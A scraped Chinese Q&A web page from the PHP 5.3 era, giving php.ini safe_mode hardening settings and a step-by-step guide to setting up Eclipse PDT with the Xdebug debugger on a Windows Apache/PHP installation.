php的安全模式是個非常重要的內嵌的安全機制,能夠控制一些php中的函數,比如system(),
同時把很多文件操作函數進行了許可權控制,也不允許對某些關鍵文件的文件,比如/etc/passwd,
但是默認的php.ini是沒有打開安全模式的,我們把它打開:
safe_mode = on

(2) 用戶組安全
當safe_mode打開時,safe_mode_gid被關閉,那麼php腳本能夠對文件進行訪問,而且相同
組的用戶也能夠對文件進行訪問。
建議設置為:
safe_mode_gid = off
如果不進行設置,可能我們無法對我們伺服器網站目錄下的文件進行操作了,比如我們需要
對文件進行操作的時候。

J. 用Eclipse來開發PHP需要怎樣配置

eclipse開發php全過程的搭建帶debug的配置

1:先安裝好java運行環境這個eclipse運行靠的就是這個,自己來安裝吧。

2:安裝好php的運行環境,我是apache+php自己配置的,php的版本是5.3.apache的版本是2.2。把apache的主目錄設置在了D:phproot。php的主目錄在

D:php-5.3.8-Win32-VC9-x86。下面才是要說的重點:

1:下載eclipse pdt all in one;

2:下載xdebug;

3:把下載後的dll放在的地方是:

D:php-5.3.8-Win32-VC9-x86extphp_xdebug-2.2.1-5.3-vc9.dll;

4:在php.ini下添加下列語句:

[html]view plainprint?

[Xdebug]

zend_extension=D:php-5.3.8-Win32-VC9-x86extphp_xdebug-2.2.1-5.3-vc9.dll

xdebug.profiler_enable=on

xdebug.auto_trace=on

xdebug.collect_params=on

xdebug.collect_return=on

xdebug.show_exception_trace=On

xdebug.remote_autostart=On

xdebug.remote_enable=On

xdebug.collect_vars=On


5:重啟apache,隨便建立一個php文件,來輸出一下phpinfo();如果看到下面截圖則說明安裝成功了。

熱點內容
sql語句截取字元串 發布:2025-01-23 23:19:08 瀏覽:117
中斷的記憶ftp 發布:2025-01-23 23:18:59 瀏覽:740
存儲30介面什麼意思 發布:2025-01-23 23:11:24 瀏覽:670
青少兒編程培訓學校 發布:2025-01-23 23:07:52 瀏覽:264
msc編譯器收費 發布:2025-01-23 23:07:36 瀏覽:580
載入存儲單元翻譯 發布:2025-01-23 23:02:25 瀏覽:849
ftp下載目錄命令 發布:2025-01-23 23:02:22 瀏覽:264
創建用戶腳本 發布:2025-01-23 22:53:01 瀏覽:949
什麼是手機存儲模式 發布:2025-01-23 22:41:57 瀏覽:534
c語言相反數 發布:2025-01-23 22:28:55 瀏覽:187